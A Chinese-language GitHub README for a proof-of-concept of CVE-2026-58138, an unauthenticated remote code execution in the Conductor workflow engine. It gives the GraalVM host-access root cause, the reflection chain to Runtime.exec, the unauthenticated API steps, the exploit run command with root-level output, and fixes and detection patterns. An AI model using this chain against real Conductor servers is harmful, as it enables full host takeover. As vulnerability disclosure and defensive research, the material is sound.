BiiTts/CVE-2026-58138-Conductor-Unauth-RCE

GitHub: BiiTts/CVE-2026-58138-Conductor-Unauth-RCE

该项目复现了 Conductor 工作流引擎因 GraalVM 脚本评估器配置不当导致的未授权远程代码执行漏洞(CVE-2026-58138),并提供完整的实验靶场与 PoC 利用脚本。

Stars: 0 | Forks: 0

# CVE-2026-58138 — 通过 INLINE GraalVM Evaluator 实现的 Conductor 未授权 RCE | | | |---|---| | **CVE** | CVE-2026-58138 | | **公告** | [vulncheck — 通过 GraalVM 脚本评估器实现的 Orkes Conductor 未授权 RCE](https://www.vulncheck.com/advisories/orkes-conductor-unauthenticated-rce-via-graalvm-script-evaluators) | | **受影响版本** | Conductor `3.21.21` … `3.30.2` 之前 | | **修复版本** | `3.30.2` (提交 `87a7d96`, `c691e35`) | | **分类** | CWE-94 (代码注入) — GraalVM polyglot 沙箱未强制执行 | | **CVSS** | `9.8` — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` | | **认证** | **无** (community API 默认未授权) | | **状态** | **已确认** — 以 **root** 身份对 `conductoross/conductor:3.22.3` 复现成功 | ## 根本原因 `core/.../events/ScriptEvaluator.java` (≤ 3.29.x / 3.22.3): ``` return Context.newBuilder("js") .allowHostAccess(HostAccess.ALL) // full host interop -> no sandbox .build(); ``` `HostAccess.ALL` 允许脚本调用 Java host 对象上的任何方法/字段。`INLINE` 任务将其输入绑定为 `$`(一个真实的 Java 对象),因此脚本可以进行提权操作: `$.getClass().getClass()` → `java.lang.Class` → `Class.forName("java.lang.Runtime")` → `Runtime.getRuntime().exec(...)`。Python 评估器也是同理 (`Context.newBuilder("python").allowAllAccess(true)`)。 ## 漏洞利用 1. 注册一个包含恶意 `expression` 的 `INLINE` 任务的工作流 (`POST /api/metadata/workflow`,无需认证)。 2. 启动工作流(`POST /api/workflow/{name}`,无需认证)。 3. INLINE 任务执行该 JS 脚本;反射调用 `Runtime.exec` 运行命令, 并且 PoC 将其 **stdout** 作为任务结果返回。 ## 复现 ``` docker compose -f lab/docker-compose.yml up -d # conductoross/conductor:3.22.3 (in range) # 等待约 60s 以便 all-in-one server 启动 python3 exploit.py http://127.0.0.1:8080 -c "id; hostname" ``` 观察结果: ``` [*] registering workflow with a malicious INLINE (javascript) task ... (no auth) [*] started workflow id=...; reading INLINE task output ... [+] UNAUTHENTICATED RCE CONFIRMED - command output from the Conductor host: uid=0(root) gid=0(root) groups=0(root) vbox Linux 6.18.12+kali-amd64 ``` `uid=0(root)` 是 Conductor 进程用户;输出是实时的 `id`/`uname` 状态 — 真实的代码执行,而不是回显。`exploit.py` 仅使用 Python 标准库。 ## 影响 任何能够访问 Conductor API 的人都可以在 orchestrator 主机上执行任意 OS 命令(此处为 **root** 身份)— 从而完全控制工作流引擎、其 持久化层/队列,以及与其工作流和存储凭据相关的所有系统。 ## 修复建议 * 升级至 **Conductor ≥ 3.30.2** (JS/Python 评估器不再以启用 host 访问/类加载的方式运行)。 * 纵深防御:在 Conductor API 前端设置身份验证,以非 root 且最小权限的用户运行服务器,并限制可以注册/运行工作流的人员。 ## 检测 标记那些其 `INLINE`/`LAMBDA`/`DO_WHILE`/`SWITCH` 任务包含 引用了 `getClass`、`forName`、`Runtime`、`exec`、 `ProcessBuilder` 或 `java.` 反射的 `expression` 字符串的工作流定义,并标记产生 shell 进程的 Conductor 进程。 有关反射链、跨版本的评估器配置以及补丁详情,请参阅 [`ANALYSIS.md`](ANALYSIS.md) 。 * 作者:**Caio Fabrício** — [github.com/BiiTts](https://github.com/BiiTts) * 漏洞功劳归属于原始报告者/供应商公告;本仓库 是一个独立的、可复现的实验环境及 PoC,仅用于防御和教育目的。仅限用于 授权的安全测试。
标签:Go语言工具, JS文件枚举, PoC, 数据可视化, 暴力破解, 编程工具, 请求拦截, 远程代码执行, 逆向工具